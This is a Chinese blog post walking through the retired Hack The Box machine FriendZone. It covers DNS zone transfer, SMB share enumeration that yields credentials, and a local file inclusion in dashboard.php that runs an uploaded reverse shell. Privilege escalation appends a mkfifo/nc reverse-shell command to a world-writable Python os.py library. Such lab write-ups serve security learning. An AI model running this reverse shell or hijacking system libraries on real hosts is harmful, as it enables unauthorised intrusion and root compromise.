HTB-靶机-FriendZone

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.123

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.123 -o ./FriendZone-autorecon

根据扫描结果显示,开放的21端口不能进行匿名登录,存在DNS服务,并且看到有开放443端口,显示证书信息跟域名friendzone.red相关,开了dns服务,我们查询一下

dig axfr friendzone.red @10.10.10.123

得知了所有的域名解析,直接添加hosts信息

echo "10.10.10.123 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red" | sudo tee -a /etc/hosts

访问每个域名看看

访问https://administrator1.friendzone.red会显示一个登陆信息,这些都放着,我们来看看samba服务

enum4linux 10.10.10.123

上述命令会枚举所有Samba可能存在的信息,发现如下重要信息

得知有4个共享,有两个能访问,这里使用如下命令进行测试了一把

smbclient -N \\\\10.10.10.123\\general  
smbclient -N \\\\10.10.10.123\\Development  

发现共享文件夹general下面有个creds.txt文件下载下来是账号密码相关信息, 共享文件夹Development什么东西都没有,但是发现可以上传文件,我们再爆破下目录

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50 -k -u https://administrator1.friendzone.red/ -x php -o bmfxfriendzone-gobuster

得到上述目录我们访问login.php页面地址:https://administrator1.friendzone.red/login.php ,这里需要账号和密码输入上面从共享文件夹中获得的账号和密码登录成功了,显示如下信息

根据此提示访问下此页面看看

再次给出提示image_id=a.jpg&pagename=timestamp  这里可能存在文件包含漏洞可以利用,想到前面的共享文件夹可以上传文件,这刚好可以利用

上传配置好的反弹代码shell文件,本地监听端口开始进行文件包含

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/bmfx-reverser

成功反弹shell,通过使用pspy64和linenum.sh这两个文件得出目标靶机存在计划任务执行一个python脚本,而此python脚本import os库,且此os库文件权限是777,我们可以通过编辑此os.py库文件写入反弹代码进行提权

echo "system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 8877 >/tmp/f')" >> /usr/lib/python2.7/os.py

成功拿shell

posted @   皇帽讲绿帽带法技巧  阅读(289)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
历史上的今天:
2015-12-24 mysql基础-新版5.7.10源码安装-记录(一)
点击右上角即可分享
微信分享提示